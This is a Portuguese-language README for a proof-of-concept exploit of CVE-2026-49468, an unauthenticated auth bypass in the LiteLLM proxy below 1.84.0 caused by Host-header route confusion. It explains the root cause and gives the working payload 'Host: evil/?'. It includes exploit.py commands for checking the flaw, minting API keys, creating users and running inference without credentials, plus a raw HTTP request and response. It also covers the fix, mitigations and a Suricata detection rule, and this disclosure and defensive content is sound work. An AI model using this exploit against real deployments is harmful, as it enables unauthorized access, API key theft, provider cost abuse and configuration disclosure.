
CVE-2026-49468 — LiteLLM (<1.84.0) bypass de autenticação não autenticado via confusão de rota de cabeçalho Host. PoC + laboratório docker.
Bypass de autenticação/autorização pré-autenticação no proxy LiteLLM (BerriAI). Um único cabeçalho Host manipulado faz o proxy avaliar sua decisão de autenticação contra uma rota de saúde pública enquanto o FastAPI ainda executa o manipulador de gerenciamento protegido — atendendo a requisição sem chave de API.
| CVE | CVE-2026-49468 |
| Produto | Proxy LiteLLM (BerriAI) |
| Afetado | < 1.84.0 (verificado em v1.83.14-stable) |
| Corrigido | 1.84.0 |
| Classe | Autenticação Incorreta (CWE-290) — confusão de rota |
| Autenticação | Nenhuma (pré-autenticação) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD) |
| CVSS 4.0 | 9.5 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (GitHub) |
| Status | CONFIRMADO — bypass reproduzido ponta a ponta; correção verificada na 1.84.0 |
Todo o exploit é um cabeçalho:
Host: evil/?
litellm/proxy/auth/auth_utils.py::get_request_route() deriva a rota usada para cada decisão de autenticação de request.url.path. Starlette reconstrói essa string de URL a partir do cabeçalho Host controlado pelo cliente:
# starlette/datastructures.py (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}" # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path
O roteamento FastAPI despacha no raw caminho ASGI request.scope["path"]. Injetar um ? no cabeçalho Host empurra o caminho real da requisição para o componente query da URL, então o url.path reconstruído colapsa para /:
caminho real da requisição (scope, FastAPI roteia aqui) : /key/generate
Cabeçalho Host : evil/?
URL reconstruída : http://evil/?/key/generate
urlsplit(...).path : / <-- auth vê isso
/ está em LiteLLMRoutes.public_routes, e ambos os portões de autenticação fazem curto-circuito em rotas públicas usando esse mesmo valor forjado:
# user_api_key_auth.py — construtor de autenticação
if route in public_routes: # route == "/"
return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) # nenhuma chave de API necessária
# user_api_key_auth.py — wrapper de autorização
if route in public_routes: # route == "/"
return # pula common_checks / enforce de rota admin
Correção (1.84.0): get_request_route() agora lê request.scope["path"] / scope["root_path"] diretamente, nunca reconstruindo a partir do cabeçalho Host.
Acessível não autenticado (atendido como INTERNAL_USER_VIEW_ONLY):
POST /key/generate → crie uma chave de API virtual válida. A chave funciona como autenticação normal sem cabeçalho de bypass → acesso autenticado persistente e abuso de custo do provedor.POST /user/new → crie usuários.POST /chat/completions (+ /v1/models, /model/info) → inferência não autenticada contra os provedores de LLM configurados no proxy.GET /spend/logs, /settings, /get/config/callbacks → divulgação de configuração / telemetria.Endpoints protegidos por uma verificação PROXY_ADMIN inline permanecem bloqueados (/config/update, /model/new, /user/list, /key/list, elevação de função, criação direta MCP), portanto esse bypass não concede acesso total de admin do proxy ou RCE na v1.83.14 — veja ANALYSIS.md.
# 1. iniciar um laboratório vulnerável + corrigido (auth habilitado com uma chave mestre)
cd lab && docker compose up -d && cd ..
# 2. confirmar o bypass
python3 exploit.py -u http://127.0.0.1:4000 check
# [*] GET /user/list Host sem bypass -> 401
# [*] GET /user/list Host: evil/? -> 403
# [+] VULNERÁVEL: autenticação contornada (401 base, bypass atingiu o manipulador: 403).
# 3. cunhar uma chave de API sem credenciais
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
# [+] Chave de API virtual cunhada (não autenticada): sk-....
# 4. inferência / enumeração não autenticadas
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "oi"
python3 exploit.py -u http://127.0.0.1:4000 dump
# build corrigido (v1.84.0 em :4001) rejeita as mesmas requisições com 401
python3 exploit.py -u http://127.0.0.1:4001 check
exploit.py é apenas stdlib (http.client) e define o cabeçalho Host literalmente no nível do fio. Ações: check, mint-key, user, chat, dump, raw METHOD PATH.
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2
{}
HTTP/1.1 200 OK
{"key":"sk-...", ...}
Veja EVIDENCE.txt para a matriz completa de linha de base/bypass, o discriminante adversarial (evil → 401, evil/foo → 401, evil/? → 200), e o limite corrigido.
1.84.0 ou posterior.Host (rejeite valores Host contendo /, ?, #) e defina um master_key.O bypass é um cabeçalho Host sintaticamente inválido. Exemplo de regra Suricata:
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
flow:to_server,established; http.host; pcre:"/[\/?#]/";
classtype:web-application-attack; sid:2026049468; rev:1;)
Lado do log: qualquer requisição cujo cabeçalho Host contenha /, ? ou # chegando a um proxy LiteLLM.
Caio Fabrício (BiiTts).
Apenas para pesquisa e teste de segurança autorizados.